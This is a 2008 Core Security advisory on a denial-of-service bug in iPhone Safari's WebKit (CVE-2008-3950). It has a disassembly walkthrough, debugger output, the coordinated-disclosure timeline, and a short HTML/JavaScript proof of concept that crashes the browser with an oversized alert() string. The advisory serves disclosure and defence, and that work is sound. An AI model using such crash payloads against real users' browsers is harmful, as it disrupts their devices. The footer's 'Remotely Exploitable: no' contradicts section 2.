iPhone Safari JavaScript alert Denial of Service


iPhone Safari JavaScript alert Denial of Service

1.
Advisory Information

Title: iPhone Safari JavaScript alert Denial of Service
Advisory ID: CORE-2008-0603
Advisory URL: http://www.coresecurity.com/content/iphone-safari-javascript-alert-denial-of-service
Date published: 2008-09-12
Date of last update: 2008-09-11
Vendors contacted: Apple Security
Release mode: Coordinated release

2.
Vulnerability Information

Class: Client-side Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 31061
CVE Name: CVE-2008-3950

3.
Vulnerability Description

Apple Safari is the default web browser included on Apple iPhone. A vulnerability has been found
on the WebKit library used by Safari inside iPhone. By inserting a special string
on the alert() JavaScript method,
it's possible to crash Safari via an outbound memory read
triggering an access violation.

4.
Vulnerable packages

  • iPhone v1.1.4 and v2.0
  • iPod touch v1.1.4 and v2.0


5.
Non-vulnerable packages

  • iPhone v2.1
  • iPod Touch v2.1

6.
Vendor Information

The information on this section was provided verbatim by the vendor.

6.1.
Availability

Apple security updates are available via the Software Update
mechanism:
http://support.apple.com/kb/HT1338

Apple security updates are also available for manual download
via:
http://www.apple.com/support/downloads/

6.2.
Cross-References

We generally do not publish advisories for denial of service
issues unless there are more serious security consequences. As
such, we are not planning to describe the fix for this issue, but we
do appreciate your having reported it to us. If you provide
cross-referencing information in your advisory please link to the
following URL:
http://support.apple.com/kb/HT1222

7.
Credits

Nicolas Economou from Core Security Technologies discovered and researched thisvulnerability.

8.
Technical Description / Proof of Concept Code

The vulnerability is located in the library WebKit used by Safari on iPhone.

The vulnerable function is _web_drawInRect:withFont:ellipsis:alignment:measureOnly: : NSString(WebStringDrawing)
which is one of the functions used by the alert() method on this implementation of JavaScript.

The alert() method receives a string parameter to be showed on screen. When this string
parameter is large, the library maps the required memory to store it.

As the memory page size is 4096 bytes, the reserved memory is rounded-up, that is, the rest of the page is marked as reserved but
unused.
If a string has length divisible by 4096, it fits exactly in the memory reserved, no bytes are left unused.

When the vulnerable function is called, it calls the method WebCore::nextBreakablePosition in
charge of searching for "breakable" characters, for example a space, character "-", etcetera, and returns the position where the first
"breakable" character was found. This method takes as parameter the same string passed to the alert on JavaScript.

In the case that no "breakable" characters are found, it returns the final position of the string plus 1.
For example, if the string size is 0x1000 and the function doesn't find anything,
it return position 0x1000, counting from zero, obviously.

The crash is generated when function _web_drawInRect:withFont:ellipsis:alignment:measureOnly
receives as parameter a large string with a size multiple of 4096 without "breakable" characters and
then passes it to method WebCore::nextBreakablePosition.
Once the method is called, it uses the return value to
access the out-of-bound string position, just outside of the memory allocated and possibly located on a non-mapped memory area.

The vulnerability is produced by an invalid access read.

The function fragment where the vulnerability was found is showed:

31739CB4  MOV   R1, R8       ; R1=string
31739CB8  MOV   R2, R10      ; R10=string len
31739CBC  MOV   R3, R8
31739CC0  MOV   R0, R4
31739CC4  BL    WebCore::nextBreakablePosition(ushort  const*,int,int,bool)
31739CC8  LDR   R1, =0x1008
31739CCC  MOV   R3, R0,LSL#1 ; R0=returned position
31739CD0  MOV   R5, R0
31739CD4  LDRH  R0, [R4,R3]  ; <---- CRASH="" !!!
31739CD8  ADD   R6, R4, R3
31739CDC  BL    _u_getIntPropertyValue
31739CE0  CMP   R0, #0x1D
31739CE4  BHI   loc_31739D1C

The following proof of concept HTML code generates the string with length multiple of 4096 to demonstrate the bug.

  <html>
  <body>
  <form>
  <script type="text/javascript" language="JavaScript">

  var st = "A";

  alert ( "Crashing Safari on iPhone..." );

  for ( var d = 1 ; d <= 16 ; d ++ )
  {
  st += st;
  }

  alert ( st );

  </script>
  </form>
  </body>
  </html>

When debugging Safari on iPhone with iphonedbg
[1]

the proof-of-concept produces the following output:

ACCESS VIOLATION
r0=00010000     r1=00001008     r2=00000041     r3=00020000
r4=02e00000     r5=00010000     r6=00000001     r7=2ffff04c
r8=00000000     r9=3800da94    r10=00010000    r11=001833e0
r12=ffffffff    sp=2fffe70c     lr=31739cc8     pc=31739cd4
ctrl=60000010
WebCore!-[NSString(WebStringDrawing) _web_drawInRect:withFont:ellipsis:alignment:measureOnly:]+268:
pc=31739cd4 b3 00 94 e1 ldrh    r0, [r4, r3]

It can be seen that the instruction ldrh r0, [r4, r3] tries to read
the memory location pointed by R4+R3, in this case, unmapped memory.
Making a dump of the memory area accessed, we see the following:

31739cd4> db r4+r3-40
02e1ffc0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A.
02e1ffd0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A.
02e1ffe0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A.
02e1fff0  | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A.
02e20000  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ????????????????
02e20010  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ????????????????
02e20020  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ????????????????
02e20030  | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ????????????????
      


9.
Report Timeline

  • 2008-07-21:
    Core notifies the vendor of the bug and sends the advisory draft (with PoC). Core states that version 1.1.4 and previous versions are affected.
  • 2008-07-24:
    Core asks for confirmation of reception of the previous email.
  • 2008-07-24:
    Vendor acknowledges and states that they will analyze the bug.
  • 2008-07-29:
    Vendor confirms the existence of the bug, but doesn't consider that this client-side denial-of-service affects the security of the system. It communicates that version 2.0 is also affected and requests to wait until a patch is available before releasing the advisory.
  • 2008-07-29:
    Core replies that further testing reveals that 2.0 is also affected (crash sent), that the issue is considered by Core as a security problem, and asks for concrete information regarding dates and versions of the patch.
  • 2008-07-29:
    Vendor confirms that versions 1.1.4 and 2.0.0 are affected, and declines to provide an estimated date for the release of fixed versions at that moment.
  • 2008-07-29:
    Core requests an estimation of when the update information will be available.
  • 2008-08-04:
    Vendor replies that the timeframe will be communicated to Core as soon as they have it.
  • 2008-08-26:
    Core asks for any update of the schedule to fix the DoS, and notifies the Vendor that the publication was rescheduled to September 16th.
  • 2008-09-05:
    Vendor estimates that their patch and security bulletin would be released early on September 7th week.
  • 2008-09-05:
    Core confirms that the advisory will be released as soon as the security bulletin is sent to Core.
  • 2008-09-08:
    Core requests a more precise timing to the vendor.
  • 2008-09-08:
    Vendor confirms that the Apple patch is not going out on Monday 8th, and requests Core to hold off the advisory until the Vendor's security bulletin is out.
  • 2008-09-11:
    Core requests the vendor a new date for re-scheduling the publication of advisory CORE-2008-0603, notice that a security update has been released for iPod touch on September 9th without notification to Core and asks for details.
  • 2008-09-12:
    Vendor responds that the update of September 9th tackles the bug for iPod touch and the update released on Friday 12th tackles it for iPhone.
  • 2008-09-12:
    Core publishes advisory CORE-2008-0603.

10.
References


[1]
iPhoneDbg Toolkit http://oss.coresecurity.com/projects/iphonedbg.html.

11.
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://www.coresecurity.com/corelabs.

12.
About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.

13.
Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and
(c) 2008 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.

14.
PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at
/legacy/files/attachments/core_security_advisories.asc.

Locally Exploitable: 
no
Remotely Exploitable: 
no
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